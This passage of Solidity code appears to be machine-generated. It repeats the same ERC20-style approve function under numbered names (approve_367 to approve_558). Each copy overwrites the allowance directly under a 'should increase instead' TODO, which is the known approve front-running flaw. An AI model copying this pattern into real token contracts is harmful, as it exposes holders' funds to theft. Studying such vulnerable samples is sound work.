_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_367(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_368(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_369(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_370(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_371(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_372(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_373(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_374(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_375(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_376(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_377(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_378(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_379(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_380(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_381(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_382(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_383(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_384(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_385(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_386(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_387(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_388(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_389(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_390(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_391(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_392(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_393(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_394(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_395(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_396(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_397(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_398(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_399(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_400(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_401(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_402(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_403(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_404(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_405(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_406(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_407(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_408(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_409(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_410(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_411(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_412(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_413(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_414(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_415(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_416(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_417(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_418(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_419(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_420(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_421(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_422(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_423(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_424(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_425(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_426(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_427(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_428(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_429(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_430(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_431(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_432(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_433(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_434(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_435(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_436(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_437(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_438(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_439(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_440(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_441(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_442(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_443(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_444(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_445(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_446(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_447(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_448(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_449(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_450(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_451(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_452(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_453(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_454(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_455(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_456(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_457(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_458(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_459(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_460(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_461(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_462(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_463(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_464(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_465(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_466(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_467(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_468(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_469(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_470(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_471(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_472(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_473(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_474(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_475(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_476(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_477(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_478(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_479(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_480(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_481(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_482(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_483(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_484(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_485(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_486(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_487(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_488(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_489(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_490(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_491(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_492(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_493(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_494(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_495(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_496(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_497(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_498(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_499(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_500(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_501(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_502(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_503(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_504(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_505(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_506(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_507(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_508(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_509(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_510(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_511(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_512(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_513(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_514(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_515(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_516(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_517(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_518(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_519(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_520(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_521(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_522(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_523(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_524(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_525(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_526(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_527(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_528(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_529(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_530(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_531(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_532(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_533(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_534(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_535(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_536(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_537(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_538(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_539(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_540(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_541(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_542(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_543(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_544(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_545(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_546(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_547(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_548(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_549(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_550(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_551(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_552(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_553(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_554(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_555(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_556(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_557(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
emit Approval( msg.sender, spender, value );
return true;
}
function approve_558(address spender, uint value) public returns (bool ok) {
// TODO: should increase instead
_approvals[msg.sender][spender] = value;
